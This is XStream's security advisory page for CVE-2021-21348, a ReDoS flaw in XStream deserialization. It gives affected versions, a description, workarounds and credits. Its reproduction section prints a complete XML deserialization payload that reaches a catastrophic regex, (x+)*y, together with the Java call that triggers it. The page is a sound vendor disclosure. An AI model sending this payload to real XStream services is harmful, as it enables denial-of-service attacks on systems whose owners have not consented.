Codebase list libxstream-java / d065e025-cdb6-47bf-b698-8cb38f20e7a7/main xstream-distribution / src / content / CVE-2021-21348.html
d065e025-cdb6-47bf-b698-8cb38f20e7a7/main

Tree @d065e025-cdb6-47bf-b698-8cb38f20e7a7/main (Download .tar.gz)

CVE-2021-21348.html @d065e025-cdb6-47bf-b698-8cb38f20e7a7/mainraw · history · blame

<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 19. February 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-21348</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-21348: XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos).</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.    An attacker can manipulate the processed
    input stream and replace or inject objects, that result in executed evaluation of a malicious regular expression
    causing a denial of service.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
      &lt;comparator class='javafx.collections.ObservableList$1'/&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
      &lt;dataHandler&gt;
        &lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
          &lt;contentType&gt;text/plain&lt;/contentType&gt;
          &lt;is class='java.io.SequenceInputStream'&gt;
            &lt;e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'&gt;
              &lt;iterator class='java.util.Scanner'&gt;
                &lt;buf class='java.nio.HeapCharBuffer'&gt;
                  &lt;mark&gt;-1&lt;/mark&gt;
                  &lt;position&gt;0&lt;/position&gt;
                  &lt;limit&gt;0&lt;/limit&gt;
                  &lt;capacity&gt;1024&lt;/capacity&gt;
                  &lt;address&gt;0&lt;/address&gt;
                  &lt;hb&gt;&lt;/hb&gt;
                  &lt;offset&gt;0&lt;/offset&gt;
                  &lt;isReadOnly&gt;false&lt;/isReadOnly&gt;
                &lt;/buf&gt;
                &lt;position&gt;0&lt;/position&gt;
                &lt;matcher&gt;
                  &lt;parentPattern&gt;
                    &lt;pattern&gt;\p{javaWhitespace}+&lt;/pattern&gt;
                    &lt;flags&gt;0&lt;/flags&gt;
                  &lt;/parentPattern&gt;
                  &lt;from&gt;0&lt;/from&gt;
                  &lt;to&gt;0&lt;/to&gt;
                  &lt;lookbehindTo&gt;0&lt;/lookbehindTo&gt;
                  &lt;text class='java.nio.HeapCharBuffer' reference='../../buf'/&gt;
                  &lt;acceptMode&gt;0&lt;/acceptMode&gt;
                  &lt;first&gt;-1&lt;/first&gt;
                  &lt;last&gt;0&lt;/last&gt;
                  &lt;oldLast&gt;-1&lt;/oldLast&gt;
                  &lt;lastAppendPosition&gt;0&lt;/lastAppendPosition&gt;
                  &lt;locals/&gt;
                  &lt;hitEnd&gt;false&lt;/hitEnd&gt;
                  &lt;requireEnd&gt;false&lt;/requireEnd&gt;
                  &lt;transparentBounds&gt;true&lt;/transparentBounds&gt;
                  &lt;anchoringBounds&gt;false&lt;/anchoringBounds&gt;
                &lt;/matcher&gt;
                &lt;delimPattern&gt;
                  &lt;pattern&gt;(x+)*y&lt;/pattern&gt;
                  &lt;flags&gt;0&lt;/flags&gt;
                &lt;/delimPattern&gt;
                &lt;hasNextPosition&gt;0&lt;/hasNextPosition&gt;
                &lt;source class='java.io.StringReader'&gt;
                  &lt;lock class='java.io.StringReader' reference='..'/&gt;
                  &lt;str&gt;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/str&gt;
                  &lt;length&gt;32&lt;/length&gt;
                  &lt;next&gt;0&lt;/next&gt;
                  &lt;mark&gt;0&lt;/mark&gt;
                &lt;/source&gt;
              &lt;/iterator&gt;
              &lt;type&gt;KEYS&lt;/type&gt;
            &lt;/e&gt;
            &lt;in class='java.io.ByteArrayInputStream'&gt;
              &lt;buf&gt;&lt;/buf&gt;
              &lt;pos&gt;0&lt;/pos&gt;
              &lt;mark&gt;0&lt;/mark&gt;
              &lt;count&gt;0&lt;/count&gt;
            &lt;/in&gt;
          &lt;/is&gt;
          &lt;consumed&gt;false&lt;/consumed&gt;
        &lt;/dataSource&gt;
        &lt;transferFlavors/&gt;
      &lt;/dataHandler&gt;
      &lt;dataLen&gt;0&lt;/dataLen&gt;
    &lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the malicious regular expression is evaluated and causes a denial of service.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never
	return.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>The vulnerability was discovered and reported by threedr3am.</p>
    
  	</body>
 </html>